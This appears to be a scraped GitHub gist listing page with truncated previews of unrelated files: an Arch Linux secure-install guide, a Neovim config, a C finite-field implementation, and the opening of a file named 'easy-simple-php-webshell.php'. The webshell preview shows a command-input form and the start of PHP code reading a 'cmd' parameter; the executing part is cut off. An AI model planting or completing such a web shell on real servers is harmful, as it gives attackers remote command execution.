nedondev

## Arch Secure Laptop Install.md

      
              1 file
            
          
              33 forks
            
          
                25 comments
              
            
              136 stars
            
          
                Th3Whit3Wolf
                / Arch Secure Laptop Install.md
            
            
              Last active
              May 4, 2025 09:37
            
              
                My install instruction for a secure Arch Linux (sway) laptop workstation 
              
          
    What's Cool


Encrypted root partition

AES-256 bit cipher
Argon2id variant for PBKDF
Sha3-512 bit hash


rEFInd bootloader

With dreary theme
Optimal Settings (optimized for aesthetics, and boot time)


Boot into backups thanks to refind-btrfs


## easy-simple-php-webshell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {

## init.vim
syntax on
set ruler               " Show the line and column numbers of the cursor.
set formatoptions+=o    " Continue comment marker in new lines.
set textwidth=0         " Hard-wrap long lines as you type them.
set modeline            " Enable modeline.
set esckeys             " Cursor keys in insert mode.
set linespace=0         " Set line-spacing to minimum.
set nojoinspaces        " Prevents inserting two spaces after punctuation on a join (J)
" More natural splits
set splitbelow          " Horizontal split below current.

## galois.c
/*
 * The following is an implementation of the finite field GF(2^8) as bit vectors of length 8, where the nth bit represents the
 * coefficient of the nth power of the generator in each element, and the generator satisfies the minimal polynomial
 * x^8 + x^4 + x ^3 + x^2 + 1 in the prime field Z_2, in which addition is equivalent to XOR and multiplication to AND.
 * The elements of GF(2^8) thus represent polynomials of degree < 8 in the generator x. Addition in this field is simply
 * bitwise XOR, but multiplication requires the elimination of powers of x <= 8.
 */

#include <stdio.h>
#include <stdint.h>
	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{
	syntax on
	set ruler " Show the line and column numbers of the cursor.
	set formatoptions+=o " Continue comment marker in new lines.
	set textwidth=0 " Hard-wrap long lines as you type them.
	set modeline " Enable modeline.
	set esckeys " Cursor keys in insert mode.
	set linespace=0 " Set line-spacing to minimum.
	set nojoinspaces " Prevents inserting two spaces after punctuation on a join (J)
	" More natural splits
	set splitbelow " Horizontal split below current.
	/*
	* The following is an implementation of the finite field GF(2^8) as bit vectors of length 8, where the nth bit represents the
	* coefficient of the nth power of the generator in each element, and the generator satisfies the minimal polynomial
	* x^8 + x^4 + x ^3 + x^2 + 1 in the prime field Z_2, in which addition is equivalent to XOR and multiplication to AND.
	* The elements of GF(2^8) thus represent polynomials of degree < 8 in the generator x. Addition in this field is simply
	* bitwise XOR, but multiplication requires the elimination of powers of x <= 8.
	*/

	#include <stdio.h>
	#include <stdint.h>